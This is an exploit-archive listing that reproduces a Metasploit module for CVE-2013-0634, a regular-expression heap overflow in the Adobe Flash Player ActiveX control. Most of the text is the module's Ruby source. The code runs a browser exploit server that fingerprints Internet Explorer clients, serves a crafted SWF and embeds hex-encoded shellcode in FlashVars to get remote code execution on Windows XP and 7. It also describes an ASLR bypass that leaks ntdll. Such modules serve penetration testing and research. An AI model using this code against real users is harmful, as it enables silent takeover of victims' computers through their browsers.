Exploit the possiblities

Adobe Flash Player Regular Expression Heap Overflow

Adobe Flash Player Regular Expression Heap Overflow
Posted Apr 19, 2014
Authored by juan vazquez, temp66, Boris dukeBarman Ryutin | Site metasploit.com

This Metasploit module exploits a vulnerability found in the ActiveX component of Adobe Flash Player before 11.5.502.149. By supplying a specially crafted swf file with special regex value, it is possible to trigger an memory corruption, which results in remote code execution under the context of the user, as exploited in the wild in February 2013. This Metasploit module has been tested successfully with Adobe Flash Player 11.5 before 11.5.502.149 on Windows XP SP3 and Windows 7 SP1 before MS13-063, since it takes advantage of a predictable SharedUserData in order to leak ntdll and bypass ASLR.

tags | exploit, remote, code execution, activex
systems | windows, xp, 7
advisories | CVE-2013-0634, OSVDB-89936
MD5 | 228fa2f8713ad5f23d8ad51136d35d78

Adobe Flash Player Regular Expression Heap Overflow

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##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::BrowserExploitServer

def initialize(info={})
super(update_info(info,
'Name' => "Adobe Flash Player Regular Expression Heap Overflow",
'Description' => %q{
This module exploits a vulnerability found in the ActiveX component of Adobe
Flash Player before 11.5.502.149. By supplying a specially crafted swf file
with special regex value, it is possible to trigger an memory corruption, which
results in remote code execution under the context of the user, as exploited in
the wild in February 2013. This module has been tested successfully with Adobe
Flash Player 11.5 before 11.5.502.149 on Windows XP SP3 and Windows 7 SP1 before
MS13-063, since it takes advantage of a predictable SharedUserData in order to
leak ntdll and bypass ASLR.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Unknown', # malware sample
'Boris "dukeBarman" Ryutin', # msf exploit
'juan vazquez' # ActionScript deobfuscation and cleaning
],
'References' =>
[
[ 'CVE', '2013-0634' ],
[ 'OSVDB', '89936'],
[ 'BID', '57787'],
[ 'URL', 'http://malwaremustdie.blogspot.ru/2013/02/cve-2013-0634-this-ladyboyle-is-not.html' ],
[ 'URL', 'http://malware.dontneedcoffee.com/2013/03/cve-2013-0634-adobe-flash-player.html' ],
[ 'URL', 'http://www.fireeye.com/blog/technical/cyber-exploits/2013/02/lady-boyle-comes-to-town-with-a-new-exploit.html' ],
[ 'URL', 'http://labs.alienvault.com/labs/index.php/2013/adobe-patches-two-vulnerabilities-being-exploited-in-the-wild/' ],
[ 'URL', 'http://eromang.zataz.com/tag/cve-2013-0634/' ]
],
'Payload' =>
{
'Space' => 1024,
'DisableNops' => true
},
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'migrate -f',
'Retries' => false
},
'Platform' => 'win',
'BrowserRequirements' =>
{
:source => /script|headers/i,
:clsid => "{D27CDB6E-AE6D-11cf-96B8-444553540000}",
:method => "LoadMovie",
:os_name => Msf::OperatingSystems::WINDOWS,
:ua_name => Msf::HttpClients::IE,
:flash => lambda { |ver| ver =~ /^11\.5/ && ver < '11.5.502.149' }
},
'Targets' =>
[
[ 'Automatic', {} ]
],
'Privileged' => false,
'DisclosureDate' => "Feb 8 2013",
'DefaultTarget' => 0))
end

def exploit
@swf = create_swf
super
end

def on_request_exploit(cli, request, target_info)
print_status("Request: #{request.uri}")

if request.uri =~ /\.swf$/
print_status("Sending SWF...")
send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Pragma' => 'no-cache'})
return
end

print_status("Sending HTML...")
tag = retrieve_tag(cli, request)
profile = get_profile(tag)
profile[:tried] = false unless profile.nil? # to allow request the swf
send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})
end

def exploit_template(cli, target_info)

swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
shellcode = get_payload(cli, target_info).unpack("H*")[0]

html_template = %Q|<html>
<body>
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
<param name="movie" value="<%=swf_random%>" />
<param name="allowScriptAccess" value="always" />
<param name="FlashVars" value="his=<%=shellcode%>" />
<param name="Play" value="true" />
</object>
</body>
</html>
|

return html_template, binding()
end

def create_swf
path = ::File.join( Msf::Config.data_directory, "exploits", "CVE-2013-0634", "exploit.swf" )
swf = ::File.open(path, 'rb') { |f| swf = f.read }

swf
end

end

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